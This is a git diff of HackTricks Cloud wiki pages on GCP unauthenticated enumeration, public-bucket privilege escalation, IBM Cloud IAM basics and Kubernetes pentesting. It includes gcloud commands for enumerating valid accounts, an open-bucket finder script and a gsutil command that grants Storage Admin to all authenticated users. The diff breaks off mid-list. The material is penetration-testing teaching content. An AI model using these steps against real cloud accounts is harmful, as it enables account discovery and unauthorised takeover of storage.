+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
@@ -0,0 +1,25 @@
+# GCP - Cloud SQL Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud SQL
+
+For more infromation about Cloud SQL check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-sql-enum.md
+{{#endref}}
+
+### Brute Force
+
+If you have **access to a Cloud SQL port** because all internet is permitted or for any other reason, you can try to brute force credentials.
+
+Check this page for **different tools to burte-force** different database technologies:
+
+{{#ref}}
+https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force
+{{#endref}}
+
+Remember that with some privileges it's possible to **list all the database users** via GCP API.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
new file mode 100644
index 000000000..102399e83
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
@@ -0,0 +1,25 @@
+# GCP - Compute Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Compute
+
+For more information about Compute and VPC (Networking) check:
+
+{{#ref}}
+../gcp-services/gcp-compute-instances-enum/
+{{#endref}}
+
+### SSRF - Server Side Request Forgery
+
+If a web is **vulnerable to SSRF** and it's possible to **add the metadata header**, an attacker could abuse it to access the SA OAuth token from the metadata endpoint. For more info about SSRF check:
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
+{{#endref}}
+
+### Vulnerable exposed services
+
+If a GCP instance has a vulnerable exposed service an attacker could abuse it to compromise it.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
similarity index 65%
rename from pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
index 7890c3301..7de36faff 100644
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
@@ -1,27 +1,14 @@
 # GCP - IAM, Principals & Org Unauthenticated Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Iam & GCP Principals
 
 For more information check:
 
-{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
 
 ### Is domain used in Workspace?
 
@@ -46,7 +33,7 @@ Another option is to try to setup a Workspace using the domain, if it **complain
 
 To try to setup a Workspace domain follow: [https://workspace.google.com/business/signup/welcome](https://workspace.google.com/business/signup/welcome)
 
-<figure><img src="../../../.gitbook/assets/image (330).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (330).png" alt=""><figcaption></figcaption></figure>
 
 3. **Try to recover the password of an email using that domain**
 
@@ -58,7 +45,6 @@ It's possible to **enumerate valid emails of a Workspace domain and SA emails**
 
 Note that to check them but even if they exist not grant them a permission you can use the type **`serviceAccount`** when it's an **`user`** and **`user`** when it's a **`SA`**:
 
-{% code overflow="wrap" %}
 ```bash
 # Try to assign permissions to user 'unvalid-email-34r434f@hacktricks.xyz'
 # but indicating it's a service account
@@ -75,7 +61,6 @@ gcloud projects add-iam-policy-binding <project-controlled-by-you> \
 # Response:
 ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal support@hacktricks.xyz is of type "user". The principal should appear as "user:support@hacktricks.xyz". See https://cloud.google.com/iam/help/members/types for additional documentation.
 ```
-{% endcode %}
 
 A faster way to enumerate Service Accounts in know projects is just to try to access to the URL: `https://iam.googleapis.com/v1/projects/<project-id>/serviceAccounts/<sa-email>`\
 For examlpe: `https://iam.googleapis.com/v1/projects/gcp-labs-3uis1xlx/serviceAccounts/appengine-lab-1-tarsget@gcp-labs-3uis1xlx.iam.gserviceaccount.com`
@@ -106,7 +91,6 @@ Note how when the user email was valid the error message indicated that they typ
 
 You can so the **same with Service Accounts** using the type **`user:`** instead of **`serviceAccount:`**:
 
-{% code overflow="wrap" %}
 ```bash
 # Non existent
 gcloud projects add-iam-policy-binding <project-controlled-by-you> \
@@ -122,19 +106,5 @@ gcloud projects add-iam-policy-binding <project-controlled-by-you> \
 # Response
 ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal testing@digital-bonfire-410512.iam.gserviceaccount.com is of type "serviceAccount". The principal should appear as "serviceAccount:testing@digital-bonfire-410512.iam.gserviceaccount.com". See https://cloud.google.com/iam/help/members/types for additional documentation.
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
new file mode 100644
index 000000000..26918ddb9
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
@@ -0,0 +1,20 @@
+# GCP - Source Repositories Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Source Repositories
+
+For more information about Source Repositories check:
+
+{{#ref}}
+../gcp-services/gcp-source-repositories-enum.md
+{{#endref}}
+
+### Compromise External Repository
+
+If an external repository is being used via Source Repositories an attacker could add his malicious code to the repository and:
+
+- If someone uses Cloud Shell to develop the repository it could be compromised
+- if this source repository is used by other GCP services, they could get compromised
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md
new file mode 100644
index 000000000..848b2d0ba
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md
@@ -0,0 +1,73 @@
+# GCP - Storage Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Storage
+
+For more information about Storage check:
+
+{{#ref}}
+../../gcp-services/gcp-storage-enum.md
+{{#endref}}
+
+### Public Bucket Brute Force
+
+The **format of an URL** to access a bucket is **`https://storage.googleapis.com/<bucket-name>`.**
+
+The following tools can be used to generate variations of the name given and search for miss-configured buckets with that names:
+
+- [https://github.com/RhinoSecurityLabs/GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute)
+
+**Also the tools** mentioned in:
+
+{{#ref}}
+../
+{{#endref}}
+
+If you find that you can **access a bucket** you might be able to **escalate even further**, check:
+
+{{#ref}}
+gcp-public-buckets-privilege-escalation.md
+{{#endref}}
+
+### Search Open Buckets in Current Account
+
+With the following script [gathered from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc/-/blob/master/find_open_buckets.sh) you can find all the open buckets:
+
+```bash
+#!/bin/bash
+
+############################
+# Run this tool to find buckets that are open to the public anywhere
+# in your GCP organization.
+#
+# Enjoy!
+############################
+
+for proj in $(gcloud projects list --format="get(projectId)"); do
+    echo "[*] scraping project $proj"
+    for bucket in $(gsutil ls -p $proj); do
+        echo "    $bucket"
+        ACL="$(gsutil iam get $bucket)"
+
+        all_users="$(echo $ACL | grep allUsers)"
+        all_auth="$(echo $ACL | grep allAuthenticatedUsers)"
+
+        if [ -z "$all_users" ]
+        then
+              :
+        else
+              echo "[!] Open to all users: $bucket"
+        fi
+
+        if [ -z "$all_auth" ]
+        then
+              :
+        else
+              echo "[!] Open to all authenticated users: $bucket"
+        fi
+    done
+done
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
new file mode 100644
index 000000000..2d9f1e2c0
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
@@ -0,0 +1,31 @@
+# GCP - Public Buckets Privilege Escalation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Buckets Privilege Escalation
+
+If the bucket policy allowed either “allUsers” or “allAuthenticatedUsers” to **write to their bucket policy** (the **storage.buckets.setIamPolicy** permission)**,** then anyone can modify the bucket policy and grant himself full access.
+
+### Check Permissions
+
+There are 2 ways to check the permissions over a bucket. The first one is to ask for them by making a request to `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam` or running `gsutil iam get gs://BUCKET_NAME`.
+
+However, if your user (potentially belonging to allUsers or allAuthenticatedUsers") doesn't have permissions to read the iam policy of the bucket (storage.buckets.getIamPolicy), that won't work.
+
+The other option which will always work is to use the testPermissions endpoint of the bucket to figure out if you have the specified permission, for example accessing: `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update`
+
+### Escalating
+
+In order to grant `Storage Admin` to `allAuthenticatedUsers` it's possible to run:
+
+```bash
+gsutil iam ch allAuthenticatedUsers:admin gs://BUCKET_NAME
+```
+
+Another attack would be to **remove the bucket an d recreate it in your account to steal th ownership**.
+
+## References
+
+- [https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/](https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/ibm-cloud-pentesting/README.md b/src/pentesting-cloud/ibm-cloud-pentesting/README.md
new file mode 100644
index 000000000..1ce69b6e7
--- /dev/null
+++ b/src/pentesting-cloud/ibm-cloud-pentesting/README.md
@@ -0,0 +1,38 @@
+# IBM Cloud Pentesting
+
+## IBM Cloud Pentesting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+### What is IBM cloud? (By chatGPT)
+
+IBM Cloud, a cloud computing platform by IBM, offers a variety of cloud services such as infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS). It enables clients to deploy and manage applications, handle data storage and analysis, and operate virtual machines in the cloud.
+
+When compared with Amazon Web Services (AWS), IBM Cloud showcases certain distinct features and approaches:
+
+1. **Focus**: IBM Cloud primarily caters to enterprise clients, providing a suite of services designed for their specific needs, including enhanced security and compliance measures. In contrast, AWS presents a broad spectrum of cloud services for a diverse clientele.
+2. **Hybrid Cloud Solutions**: Both IBM Cloud and AWS offer hybrid cloud services, allowing integration of on-premises infrastructure with their cloud services. However, the methodology and services provided by each differ.
+3. **Artificial Intelligence and Machine Learning (AI & ML)**: IBM Cloud is particularly noted for its extensive and integrated services in AI and ML. AWS also offers AI and ML services, but IBM's solutions are considered more comprehensive and deeply embedded within its cloud platform.
+4. **Industry-Specific Solutions**: IBM Cloud is recognized for its focus on particular industries like financial services, healthcare, and government, offering bespoke solutions. AWS caters to a wide array of industries but might not have the same depth in industry-specific solutions as IBM Cloud.
+
+#### Basic Information
+
+For some basic information about IAM and hierarchi check:
+
+{{#ref}}
+ibm-basic-information.md
+{{#endref}}
+
+### SSRF
+
+Learn how you can access the medata endpoint of IBM in the following page:
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#2af0
+{{#endref}}
+
+## References
+
+- [https://redresscompliance.com/navigating-the-ibm-cloud-a-comprehensive-overview/#:\~:text=IBM%20Cloud%20is%3A,%2C%20networking%2C%20and%20database%20management.](https://redresscompliance.com/navigating-the-ibm-cloud-a-comprehensive-overview/)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md
new file mode 100644
index 000000000..d9e32ea7f
--- /dev/null
+++ b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md
@@ -0,0 +1,72 @@
+# IBM - Basic Information
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Hierarchy
+
+IBM Cloud resource model ([from the docs](https://www.ibm.com/blog/announcement/introducing-ibm-cloud-enterprises/)):
+
+<figure><img src="../../images/image (225).png" alt=""><figcaption></figcaption></figure>
+
+Recommended way to divide projects:
+
+<figure><img src="../../images/image (239).png" alt=""><figcaption></figcaption></figure>
+
+## IAM
+
+<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
+
+### Users
+
+Users have an **email** assigned to them. They can access the **IBM console** and also **generate API keys** to use their permissions programatically.\
+**Permissions** can be granted **directly** to the user with an access policy or via an **access group**.
+
+### Trusted Profiles
+
+These are **like the Roles of AWS** or service accounts from GCP. It's possible to **assign them to VM** instances and access their **credentials via metadata**, or even **allow Identity Providers** to use them in order to authenticate users from external platforms.\
+**Permissions** can be granted **directly** to the trusted profile with an access policy or via an **access group**.
+
+### Service IDs
+
+This is another option to allow applications to **interact with IBM cloud** and perform actions. In this case, instead of assign it to a VM or Identity Provider an **API Key can be used** to interact with IBM in a **programatic** way.\
+**Permissions** can be granted **directly** to the service id with an access policy or via an **access group**.
+
+### Identity Providers
+
+External **Identity Providers** can be configured to **access IBM cloud** resources from external platforms by accessing **trusting Trusted Profiles**.
+
+### Access Groups
+
+In the same access group **several users, trusted profiles & service ids** can be present. Each principal in the access group will **inherit the access group permissions**.\
+**Permissions** can be granted **directly** to the trusted profile with an access policy.\
+An **access group cannot be a member** of another access group.
+
+### Roles
+
+A role is a **set of granular permissions**. **A role** is dedicated to **a service**, meaning that it will only contain permissions of that service.\
+**Each service** of IAM will already have some **possible roles** to choose from to **grant a principal access to that service**: **Viewer, Operator, Editor, Administrator** (although there could be more).
+
+Role permissions are given via access policies to principals, so if you need to give for example a **combination of permissions** of a service of **Viewer** and **Administrator**, instead of giving those 2 (and overprivilege a principal), you can **create a new role** for the service and give that new role the **granular permissions you need**.
+
+### Access Policies
+
+Access policies allows to **attach 1 or more roles of 1 service to 1 principal**.\
+When creating the policy you need to choose:
+
+- The **service** where permissions will be granted
+- **Affected resources**
+- Service & Platform **access** that will be granted
+  - These indicate the **permissions** that will be given to the principal to perform actions. If any **custom role** is created in the service you will also be able to choose it here.
+- **Conditions** (if any) to grant the permissions
+
+> [!NOTE]
+> To grant access to several services to a user, you can generate several access policies
+
+<figure><img src="../../images/image (248).png" alt=""><figcaption></figcaption></figure>
+
+## References
+
+- [https://www.ibm.com/cloud/blog/announcements/introducing-ibm-cloud-enterprises](https://www.ibm.com/cloud/blog/announcements/introducing-ibm-cloud-enterprises)
+- [https://cloud.ibm.com/docs/account?topic=account-iamoverview](https://cloud.ibm.com/docs/account?topic=account-iamoverview)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md
similarity index 54%
rename from pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md
rename to src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md
index 074dce60f..0cbc55061 100644
--- a/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md
+++ b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md
@@ -1,19 +1,6 @@
 # IBM - Hyper Protect Crypto Services
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -39,17 +26,4 @@ HSMs can be used for a wide range of applications, including secure online trans
 
 Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md
similarity index 62%
rename from pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md
rename to src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md
index 2c1d42d69..a1d9a8100 100644
--- a/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md
+++ b/src/pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md
@@ -1,19 +1,6 @@
 # IBM - Hyper Protect Virtual Server
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -52,17 +39,4 @@ Compared to x64 architecture, which is the most common architecture used in serv
 
 Overall, LinuxONE is a powerful and secure platform that is well-suited for running large-scale, mission-critical workloads that require high levels of performance and reliability. While x64 architecture has its own advantages, it may not be able to provide the same level of scalability, security, and reliability as LinuxONE for certain workloads.\\
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/kubernetes-security/README.md b/src/pentesting-cloud/kubernetes-security/README.md
new file mode 100644
index 000000000..c903d3209
--- /dev/null
+++ b/src/pentesting-cloud/kubernetes-security/README.md
@@ -0,0 +1,80 @@
+# Kubernetes Pentesting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Kubernetes Basics
+
+If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes:
+
+{{#ref}}
+kubernetes-basics.md
+{{#endref}}
+
+### Labs to practice and learn
+
+- [https://securekubernetes.com/](https://securekubernetes.com)
+- [https://madhuakula.com/kubernetes-goat/index.html](https://madhuakula.com/kubernetes-goat/index.html)
+
+## Hardening Kubernetes / Automatic Tools
+
+{{#ref}}
+kubernetes-hardening/
+{{#endref}}
+
+## Manual Kubernetes Pentest
+
+### From the Outside
+
+There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
+
+Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
+
+{{#ref}}
+pentesting-kubernetes-services/
+{{#endref}}
+
+### Enumeration inside a Pod
+
+If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**:
+
+{{#ref}}
+attacking-kubernetes-from-inside-a-pod.md
+{{#endref}}
+
+### Enumerating Kubernetes with Credentials
+
+You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
+
+{{#ref}}
+kubernetes-enumeration.md
+{{#endref}}
+
+Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
+
+{{#ref}}
+kubernetes-role-based-access-control-rbac.md
+{{#endref}}
+
+#### Knowing about RBAC and having enumerated the environment you can now try to abuse the permissions with:
+
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
+
+### Privesc to a different Namespace
+
+If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources:
+
+{{#ref}}
+kubernetes-namespace-escalation.md
+{{#endref}}
+
+### From Kubernetes to the Cloud
+
+If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
+
+{{#ref}}
+kubernetes-pivoting-to-clouds.md
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
similarity index 71%
rename from pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
rename to src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
index 20df0a56f..9cc723a9a 100644
--- a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -1,19 +1,6 @@
 # Abusing Roles/ClusterRoles in Kubernetes
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 Here you can find some potentially dangerous Roles and ClusterRoles configurations.\
 Remember that you can get all the supported resources with `kubectl api-resources`
@@ -22,11 +9,11 @@ Remember that you can get all the supported resources with `kubectl api-resource
 
 Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
 
-* Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
-* Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
-* Be able to **read secrets** as the SAs tokens are stored as secrets
